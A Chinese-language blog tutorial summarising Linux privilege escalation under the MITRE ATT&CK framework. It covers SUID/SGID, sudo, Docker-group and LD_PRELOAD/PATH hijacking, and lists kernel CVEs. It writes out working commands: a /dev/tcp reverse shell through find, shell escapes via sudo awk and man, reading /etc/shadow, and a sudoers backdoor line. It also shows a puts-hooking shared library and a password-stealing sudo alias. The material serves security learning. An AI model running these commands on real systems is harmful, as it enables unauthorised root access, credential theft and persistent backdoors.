ATT&CK权限提升-Linux提权总结

介绍

​ MITRE ATT&CK ®是一个全球可访问的基于真实世界观察的对手战术和技术知识库,本文根据MITRE ATT&CK框架总结了Linux系统下的权限提升技术,并且特指由普通用户提升到root权限的技术。

一、滥用权限控制机制

​ 首先了解一下Linux下的权限控制机制http://c.biancheng.net/linux_tutorial/70/,Linux所有文件都具有访问权限,针对u:拥有者、g:组、o:other设置权限,常见的文件权限类型有:r、w、x,对应读、写、可执行权,除了这3种以外还有一些特殊权限,u中的s代表SUID权限,g中的s代表SGID权限,t代表粘滞位权限,SUDO命令则用于暂时提升用户身份。在ATT&CK框架中记录了很多提权方法,其中用于Linux的有SetUID、SetGID和SUDO。

1.SetUID和 SetGID

①提权原理

​ SetUID简称SUID,当一个可执行文件被赋予SUID权限,那么用户执行此文件时,会暂时获得文件所有者的身份,一旦文件执行结束,身份的切换也随之消失。

​ SetGID简称SGID,和SUID类似,当一个可执行文件被赋予SGID权限,那么用户执行此文件时,用户组会暂时获得文件所属组的身份,一旦文件执行结束,身份的切换也随之消失。

​ 如上所述,SUID或SGID本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。对于入侵者来说,只要找到具备SUID或SGID权限的程序,并且能够操控它的执行结果,那么就可以将任意指令提升至root权限。

②提权条件

​ 1.存在具备SUID权限的脆弱二进制文件

③找寻脆弱点

​ 查找具有SUID和SGID的文件:

​ 1.使用ls -l查看具有SUID和SGID权限的文件,SUID对应user权限中的s,SGID对应Group权限中的s:

​ 2.find查找具有SUID和SGID权限的文件:

#查找同时具有SUID和SGID权限的文件:
find / -user root -perm -u+s,g+s -print 2>/dev/null#查找具有SUID权限或SGID权限的文件:
find / -user root -perm /u+s,g+s -print 2>/dev/null#查找具有SUID权限的文件:
find / -user root -perm -u+s -print 2>/dev/null查找具有SGID权限的文件:
find / -user root -perm -g+s -print 2>/dev/null

③可被利用的二进制文件

​ 1.对于常见二进制文件,GTFOBins上面其实已经总结的很全面了https://gtfobins.github.io/#

​ 2.下面举例一个常见的可用于SUID提权的程序,其他的请参考GTFOBins:

find

​ 3.如GTFOBins中展示的,find 可以使用-exec参数来执行命令,所以如果它具备SUID权限那么就可以用来提权:

#测试时先赋予find SUID权限:
chmod u+s /usr/bin/find#查找/usr/bin下具备SUID权限的文件:
find /usr/bin/ -user root -perm -u+s -print 2>/dev/null#-exec执行命令,参数需要以;结尾,find每次成功匹配到一个文件,都会执行该命令,使用-quit避免重复执行:
find /root/test -exec whoami \;       #多次匹配到文件会多次执行whoami
find . -exec whoami \; -quit         #交互式shell:
find . -exec /bin/sh -p \; -quit#反弹shell(注意这里一定要用-p,原因在下面解释)
find . -exec /bin/sh -p >& /dev/tcp/ip/port 0>&1 \; -quit

​ 4.提权前

​ 5.SUID提权,whoami变为root,euid变为root:

​ 6.SGID提权,whoami并没有变为root,但egid用户组变为了root

反弹shell踩坑及解决方法

​ 1.从上面执行的结果可以看到,SUID提权时,只有euid改变,SGID提权时,只有egid和groups改变。

​ 2.linux下用户/用户组有这样几个概念:

​ 实际用户ID(RUID):用于标识一个系统中用户是谁,一般是在登录之后,就被唯一确定的,就是登陆的用户的uid,也是id命令看到的第一个uid。

​ 有效用户ID(EUID):用于系统决定用户对系统资源的权限,SUID提权时改变的其实就是EUID。

​ 真实组ID(RGID):同理,也就是GID。

​ 有效组ID(EGID):同理,SGID提权时改变的就是EGID。

​ 3.如果我们使用常见的bash -i 反弹shell,会出现提权失败的情况:

​ 4.是因为:默认情况下 bash 在执⾏时,如果发现 euid 和 uid 不匹配,会将 euid强制重置为uid

​ 而解决方法是使用-p参数,缺点是没有那么好的交互式,不过也能用:

2.sudo和sudo缓存

​ 这里sudo是指sudoers文件,sodu缓存是指已经配置到sudoers文件中的那些命令。

①提权原理

​ sudoers文件指/etc/sudoers,它管理着sudo机制。

​ sudo会暂时以root身份去执行指令,和SUID一样,它本身就是一种暂时提升权限的机制,它要求用户输入当前用户的密码而不需要输入root密码。

​ 和SUID提权的区别在于:它改变的不仅仅是euid,uid、gid、groups都变成了root:

​ 综上所述:sudo本身就是一种暂时提升权限的机制,不恰当得使用会造成安全隐患。只要攻击者有权限修改/etc/sudoers,或sudo缓存中的这些命令可以执行任意指令,那么攻击者就可以将任意指令提升至root权限。

②提权条件

​ 1.已知当前用户密码或sudoer中设置了不使用密码

​ 2.sudo缓存中存在脆弱的二进制文件(就是指那些可sudo的命令)或者对sudoers文件具备写权限(默认没有)

③获取用户密码

​ 我们知道,Linux系统的用户密码保存在/etc/shadow中,但对于普通用户,默认是无法访问/etc/shadow的,那我们要如何获取用户密码呢?

​ 在ATT&CK框架中,有一种技术叫修改Unix shell,其分类在持久性或特权提升–事件触发执行–修改Unix shell。

密码获取条件

​ 1.用户必须在sudoer组。

原理简介

​ Linux下一切皆文件,当登录Linux时候,为了初始化环境变量等配置,会自动加载执行一些配置文件,其顺序是:

​ /etc/profile --> (~/.bash_profile | ~/.bash_login |~/.profile) --> ~/.bashrc -> /etc/bashrc ,在退出时还会执行~/.bash_logout

​ 关于这些文件的说明:(参考自https://wenku.baidu.com/view/463276fa0242a8956bece426.html)

​ (1)/etc/profile:为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行,并从/etc/profile.d目录的配置文件中搜索shell的设置。

​ (2)/etc/bashrc:为每个运行的bash shell用户执行此文件,当bash shell被打开时执行。

​ (3)~/.bash_profile:每个用户都可以使用该文件输入专用于自己使用的Shell信息,当用户登录时,该文件仅仅执行一次,默认情况下,它设置一些环境变量,执行用户的.bashrc文件。

​ (4)~/.bashrc:该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该文件被执行。

​ (5)~/.bash_logout:当每次退出系统(退出bash shell)时,执行该文件。

​ 其本身就是为了用户自定义的配置,当前用户对于这几个文件是具有读写权限的:/.bash_profile、/.bashrc、 ~/.profile、 ~/.bash_login 、~/.bash_logout 。所以通常可以利用这点来做持久化,除此之外,还可以在这些配置中加载自己的二进制程序,实现其它功能,比如密码窃取功能。

Impost3r窃取密码

​ 这个工具正是利用上述原理实现了sudo、ssh、su密码窃取功能,使用方法github上已经很详细,下面就简单展示一下效果:

​ (1)在vps上编译生成.impost3r

​ (2)使用test用户将.impost3r下载到/tmp目录(存放位置根据配置而定)【这里有个小技巧,通过Scp去下载可以保留程序的可执行权限,wget不行】:

​ (3)使用test用户备份.bashrc到/tmp目录(根据配置来定),并参照impost3r的使用方法给sudo添加别名:

​ (4)当正常test用户登录并执行sudo后,会先调用/tmp/.impost3r窃取密码,再转回到原始的sudo上,最后成功窃取到密码并通过dns发送给了我们:

​ 拿到了sudo密码之后,我们再考虑通过sudo提权的事情。

④找寻脆弱点

sudo -l

⑤可被利用的二进制文件

​ 1.关于SUDO提权,GTFOBins上面也总结的很全面了https://gtfobins.github.io/#

​ 2.下面举例几个常见的可用于SUID提权的程序,其他的请参考GTFOBins:

sudo缓存:
sudo -l 查看当前用户可使用的权限提权姿势:
1. sudo su root                                      #只知道当前用户密码的情况下就可以su为root
2. sudo awk 'BEGIN {system("/bin/sh")}'
3. sudo man man在man中输入!/bin/sh 或者!/bin/bash 可进入root shell4. sudo curl file:///etc/shadow  读取密码进行破解
5. sudo curl $URL -o $LFILE      #将远程文件覆盖写入到本地,可以用来修改各种配置文件

​ 3.因为前面已经输入过test的密码了,截图的没有要求输入密码:

sudoers:

​ sudoers的用法:https://blog.51cto.com/zxf261/748756

​ 常被用来作为提权后门,达到远控目的,如Dok木马添加admin ALL=(ALL) NOPASSWD: ALL/etc/sudoers文件中,实现admin用户的提权后门。

#查看是否有可写权限(默认没有)
ll /etc/sudoers
2.echo写入
echo "admin      ALL=(ALL)       ALL" >> /etc/sudoers
3.结合sudo提权写入
sudo curl $URL -o /etc/sudoers    #下载远程文件到sudoers,如果curl有sudo权限也可以这样用

二、劫持执行流程

1.动态链接器劫持

①动态链接器简介

​ 动态链接器用于加载动态链接库(*.so),一般情况下,其加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib,LD_PRELOAD和 LD_LIBRARY_PATH是一个环境变量。在Linux系统中,程序调用系统命令的方式主要有这几种:system、fork、exec加载器,它们对环境变量的继承关系是有区别的。fork从调用该函数的进程复制出子进程,它会继承父进程的环境变量;exec加载器将新程序代码加载(拷贝)到进程的内存空间,替换掉原有的与父进程一模一样的代码和数据,让进程空间运行全新的程序,需要手动将环境变量作为参数传递才能继承;system实际上执行“/bin/sh -c command”,它通过fork和exec来创建子进程。以上详细实验过程可以参考这篇文章https://blog.csdn.net/Onlyone_1314/article/details/118699481。

​ 通过system和fork会继承环境变量,但对于LD_PRELOAD和 LD_LIBRARY_PATH这2个环境变量,当我们使用SUID、SUDO等方式提升权限时,LD_PRELOAD和 LD_LIBRARY_PATH会被忽略,下图展示了直接运行myprog程序我设置的LD_PRELOAD生效,加载了自己的动态链接库,但使用sudo运行时未加载(使用SUID也一样)。

​ 下面做个测试,test.c程序使用fork来创建一个子进程,在父进程和子进程中都会打印出当前的环境变量。

​ 编译并运行test.c:gcc test.c -o test

test.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void printenv()
{
int i = 0;
while (environ[i] != NULL) {
printf("%s\n", environ[i]);
i++;
}
}
void main()
{
printenv();
printf("\n---------------------------------------------\n");
pid_t childPid;
switch(childPid = fork()) {
case 0: /* child process */
printenv();
exit(0);
//default: /* parent process */
//printenv();
//exit(0);
}
}

​ 当未附加SUID权限时,父子进程都可以打印出LD_PRELOAD环境变量:

​ 当赋予SUID权限后,父子进程都不包含LD_PRELOAD:

​ 所以LD_PRELOAD不能像其他环境变量一样劫持。

②提权原理

​ 动态链接器和环境变量劫持,都只是修改程序的执行流程,所以它本身并不能直接提升权限,需要被劫持程序自身具备高权限(如以root运行,SUID,SUDO),而前面我们分析了,使用SUID和SUDO时LD_PRELOAD环境变量会被忽略,并且普通用户也不能修改root用户的环境变量。目前可利用方式是sudoers文件,sudoer中可以配置env_keep,将环境变量传递给子进程,不过sudoer文件一般用户没有可写权限,所以比较鸡肋,下面就简单演示一下:

③提权条件

(一)用户在sudoer组,并且不知道用户的sudo密码

(二)可修改/etc/sudoers文件(默认没有权限

③LD_PRELOAD劫持SUDO程序提权过程

​ 1.现在假设我们拿到服务器的test用户shell,通过查看history历史记录发现管理员会经常执行sudo whoami命令,于是想到了劫持whoami命令:

​ 2.在安装了ltrace的系统上跟踪whoami,发现它会调用puts函数:

​ 3.重写puts,编译成动态链接库(*.so),利用LD_PRELOAD劫持动态链接库:

hook.c:

#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>int puts(const char *message) {int (*new_puts)(const char *message);int result;new_puts = dlsym(RTLD_NEXT, "puts");system("id");                          //要执行的命令为idresult = new_puts(message);return result;
}

​ 编译为动态链接库:

gcc hook.c -o hook.so -fPIC -shared -ldl -D_GNU_SOURCE

​ 4.通过前面的测试我们已经知道,直接通过sudo command的方式执行命令并不能将LD_PRELOAD环境变量带入,可用的方式是sudo LD_PRELOAD=xxx.so command。现在假设我们还不知道用户test的密码,所以并不能直接sudo执行whoami命令来劫持,我们想要正常的test管理员去执行sudo whoami的时候触发我们的劫持,所以需要将LD_PRELOAD环境变量设置为任何人登录都可以生效,于是参考前面SUDO提权时,修改.bash_profile设置别名来窃取密码的方式,我们也可以在.bash_profile中设置sudo别名=‘sudo LD_RELOAD=xxx.so’,这样正常test用户登录后,就有了这个别名,当他执行sudo时,实际执行的是sudo LD_PRELOAD=xxx.so:

​ 5.正常管理员登录后就有了这个别名:

​ 6.不过限制就来了,使用这种方式执行的时候,会和我们上面测试的结果一样,LD_PRELOAD会被忽略,会提示无权限设置环境变量或者加载失败:

​ 7.解决办法就是修改/etc/sudoers(默认test没有可写权限),增加env_keep=“LD_PRELOAD”,让sudo执行时可以携带LD_PRELOAD环境变量:

​ 8.正常管理员执行sudo whoami,触发了我们的劫持,在这个示例中执行了id命令,当然你也可以直接让它反弹shell:

6.PATH环境变量劫持

​ 根据前面动态链接器劫持章节的介绍,相信你对环境变量劫持已经有所了解,PATH也作为环境变量的一部分,并且根据前面的测试可知:通过fork或者system创建子进程,PATH会被完整地传递。和动态链接库劫持一样,PATH作为环境变量本身也不具备提升权限的机制,需要结合SUID、SUDO等进行提权,不过好在使用SUID和SUDO时候,PATH没有传递限制,比LD_PRELOAD和 LD_LIBRARY_PATH更好利用。

①提权原理

​ PATH主要用于定义可执行程序的搜索目录,可执行程序包括Linux系统命令和用户的应用程序。例如某个程序调用system(“ps”),那么就会去PATH环境变量中搜索ps,搜索的顺序按照PATH定义的顺序(如/tmp:/usr/local/sbin,则先搜索/tmp目录,如果没有再搜索/usr/local/sbin目录),因此PATH环境变量劫持的原理就是将调用程序的路径添加到PATH环境变量的前面,让它优先搜索加载我们自定义的程序。那环境变量劫持提权的原理就是我们劫持了一个本身就具有SUID权限、root身份运行权限、可SUDO的程序。不过普通用户没法修改root用户身份运行程序的环境变量,SUDO需要知道当前用户密码,所以一般结合SUID进行提权。

②提权条件

​ (一)找到一个具有SUID权限或SUDO(需要当前用户SUDO密码,有密码了一般也不需要这样提权)的程序。

​ (二)strace观察程序调用了哪些系统命令/用户程序。

​ (三)使用环境变量劫持这个程序并运行它。

③PATH环境变量劫持SUID程序提权过程

​ 1.现在有这样一个程序test,用户test需要用它执行ps命令,并且需要SUID权限:

test.c

#include<stdlib.h>
#include <unistd.h>int main()
{
setuid(0);//run as root
setgid(0);
system("ps");
}

​ 2.编译并且赋予SUID权限:

​ 3.我们拿到一个test用户shell,通过find查找具备SUID权限的程序,发现了它:

find / -user root -perm -u+s -print 2>/dev/null

​ 4.将test下载到本地或在目标安装运行strace,追踪程序,发现程序执行了ps命令:

​ 5.于是我们就可以劫持ps命令进行提权,直接获取到root用户的bash:

#查看当前环境变量
echo $PATH#将/bin/sh写入到/tmp/ps,并且修改权限:
echo /bin/sh > /tmp/ps
chmod 777 /tmp/ps#修改环境变量,将/tmp目录放到前面:
export PATH=/tmp:$PATH#运行test程序,由于它具备SUID权限,所以劫持后成功提权:
./test

​ 6.这里能看到uid、gid都变成了root是因为我们的程序调用了setuid(0)和setgid(0),没有显示euid是因为uid和euid相同的时候它不会显示:

三、有效账户

密码破解

四、提权漏洞

​ 由于咱实在是太菜了,内核原理搞不懂呀,所以就直接搬运一些文章吧。

1.CVE-2022-0847(Linux DirtyPipe内核提权漏洞)

参考:https://blog.csdn.net/WWL0814/article/details/123354623

2.CVE-2022-0185(容器逃逸漏洞)

参考:https://blog.csdn.net/Breeze_CAT/article/details/123007818

3.CVE-2021-4034(Linux Polkit权限提升漏洞)

参考:https://blog.csdn.net/weixin_42618425/article/details/122709479

4.CVE-2021-3493(Linux kernel权限提升漏洞)

参考:https://blog.csdn.net/xiaoxizainiyanli/article/details/115976549

5.CVE-2021-3156(Linux sudo权限提升漏洞)

参考:https://zhuanlan.zhihu.com/p/375577136

6.CVE-2019-13272(Linux ‘PTRACE_TRACEME’提权漏洞)

参考:https://blog.csdn.net/Kris__zhang/article/details/116643422

CVE-2016-5195(脏牛漏洞)

参考:https://blog.csdn.net/arttnba3/article/details/115773316

五、其他

​ 可能看到这里的小伙伴有些疑问,还有一些网上流传的提权方式ATT&CK中并没有提及,比如mysql UDF、redis写计划任务等等,其实是因为这些提权方式要求应用程序本身以root权限运行,换言之只要程序有漏洞或有功能可以让用户执行命令、写入文件等,那么用户也就拥有了root权限,并没有从操作系统普通用户提升到root用户,所以ATT&CK中没有涉及这部分,下面就讲一些ATT&CK中找不到分类的提权方式,看看它究竟是怎么回事。

1.Docker组提权

​ 如上所述,当一个程序以root身份运行,那么程序就拥有了root权限, 如果程序存在漏洞很容易导致攻击者直接获取到操作系统的root权限,因此正确的做法是以最小化权限原则创建普通用户,以普通用户身份运行程序,比如web中间件、服务器、数据库等,都以不同用户身份运行,这样即使这些软件程序存在漏洞,攻击者获取到的也只是普通用户权限,要获取root权限则再通过我们上面总结的这些方法进行提权。

​ 那是不是只要以普通用户身份运行的程序就会更加安全呢?这里就出现了一个意外,Docker组提权。Docker的虚拟机是可以以普通用户身份启动的(docker run),而这个普通用户必须在Docker组里,听起来这样就会比直接以root启动的虚拟机更加安全,但事实上却并非如此。

​ 我们先来做下试验:

​ 1.安装docker,这个自行百度。

​ 2.创建docker组和用户,将用户加入组

adduser dock
usermod -G docker dock
newgrp docker
su dock

​ 3.docker组用户运行一个docker实例:

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

​ 4.这样就得到一个shell,这个shell其实是docker虚拟机的shell,这里关键点是我们使用-v参数,将宿主机的根目录挂载到了虚拟机目录,因为linux下一切皆文件,所以现在的虚拟机差不多等同于物理机了,可以看到宿主机上的文件:

​ 5.所以可以得出结论,这个提权的本质是挂载目录这个功能可以让Docker虚拟机拥有宿主机文件的访问权限,不过还是会有一些写入功能会受到限制的:

​ 6.为什么明明是Docker组的用户启动的虚拟机,最后却拥有了root权限,这难道不就是提权吗?其实这并不是正在意义上的从其他操作系统用户权限提升到root权限,因为架构问题,docker服务只能以root身份运行,下面我们测试使用test用户启动docker服务,也会要求输入root密码,ps查看可知它还是以root身份运行的。

​ 7.最后我们在获取到的shell中执行一个test程序来观察,可以发现这个test程序是docker服务的子进程,并且也拥有root权限。所以这其实本身就是一个root权限运行的程序的一个子进程,并不是dock用户权限运行,简而言之docker组并不能提升安全性,所以这大概就是我在ATT&CK中找不到分类的理由吧~

ps aufx

ATTCK权限提升-Linux提权总结相关推荐

  1. Windows权限提升—溢出提权

    Windows权限提升-溢出提权 1. 权限提升介绍 1.1. 权限说明 1.2. 权限提升后操作 1.3. 权限提升的意义 1.4. 权限提升整体流程 1.5. 权限获取方式 1.5.1. 特殊类型 ...

  2. hackmap-[windows权限提升(windows提权思路)]

    hackmap-[windows权限提升{windows提权思路}] 1.前言 1.1.提权分类 水平权限提升(越权) 垂直权限提升 1.2 windows提权概述 2.windows基于WebShe ...

  3. 操作系统权限提升(二十三)之Linux提权-通配符(ws)提权

    系列文章 操作系统权限提升(十八)之Linux提权-内核提权 操作系统权限提升(十九)之Linux提权-SUID提权 操作系统权限提升(二十)之Linux提权-计划任务提权 操作系统权限提升(二十一) ...

  4. Linux提权(su和sudo)以及用户的权限(ugo)(超详细操作解释)

    Linux提权(su和sudo)以及用户的权限(ugo)(超详细操作解释) 一. 提权(su和sudo) 1.su提权 su是用户切换命令,可以通过此命令进行任何用户的切换,root 用户切换为普通用 ...

  5. linux 提权方法总结

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

  6. linux 提权一文通

    目录 0x001 linux提权描述 0x002 基本Linux权限提升前的信息收集 操作系统 什么是发行类型?什么版本的? 什么是内核版本?是64位吗? 从环境变量中可以收集到什么信息?环境变量中可 ...

  7. (建议收藏)万字长文,带你一文吃透 Linux 提权

    前言 关于Linux知识,博主已经整理成专栏,感兴趣的小伙伴可自行订阅专栏 Linux疑难杂症解决指南 你的支持就是我不断更新的动力! 0x001 linux提权描述 大多数计算机系统设计为可与多个用 ...

  8. Linux怎么对当前目录提权,linux提权方法(不断总结更新)

    1.suid提权 运行某些程序时暂时获得root的权限,例如ping(socket需要root才能运行) 搜索符合条件的可以用来提权的: find / -perm -u=s -type f 2> ...

  9. 20. Linux提权:从入门到放弃

    几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...

最新文章

  1. java清空栈_java - 如何使用Intent.FLAG_ACTIVITY_CLEAR_TOP清除活动堆栈?
  2. AIphaCode 并不能取代程序员,而是开发者的工具
  3. Kafka Design
  4. python如何提高程序可读性_提高Python的可读性?
  5. 《布莱克智讯之声》公众号文章汇总
  6. 转载-深度学习与NLP 深度学习|机器学习|人工智能 精品视频教程合集分享
  7. Oracle 开放源代码项目
  8. c++代码整洁之道pdf_别再问如何用Python提取PDF内容了!
  9. 计算机硬件毕业论文题目,最新计算机硬件论文选题参考 计算机硬件论文题目哪个好...
  10. 一份王者荣耀的英雄数据报告
  11. 大华摄像机调试以及保存视频
  12. Tableau——嵌套组合饼图
  13. Windows蓝屏为什么是蓝底白字?微软程序员揭开了秘密
  14. oracle怎么查询关键字,Oracle 搜索关键字
  15. CSS绝对定位、相对定位
  16. 哈尔滨工程大学 Beamer模板(LaTeX幻灯模板)
  17. silverlight mysql_Silverlight中衔接MySQL数据库实例详解
  18. java tt自行车_骑行圈的知识科普:“大组车”和“TT”车的区别
  19. 关于SBUF读两次的问题
  20. 数值计算之 最小二乘法(3)最小二乘的矩阵解法

热门文章

  1. 兰州大学计算机学院研究生院导师,兰州大学研究生导师介绍:赵志光
  2. 《C语言程序设计教程》(主编黄迪明、余勤)第四章课后习题答案
  3. Bilateral Filter、Cross/Joint Bilateral Filter
  4. EMUI10android系统下载,华为EMUI11系统正式版安装包
  5. golang1.15.6 版本 map 源码笔记
  6. 再接再厉mms 资源 转
  7. 【转】国内手机上网站点大测试
  8. MSP430 G2553 单片机 三色灯 霓虹灯 呼吸灯 跑马灯 一体
  9. html图片重叠怎么实现,css如何实现图片堆叠效果
  10. android 解压rar5,RAR解压缩软件_Winrar官方版 V5.50.42 安卓去广告版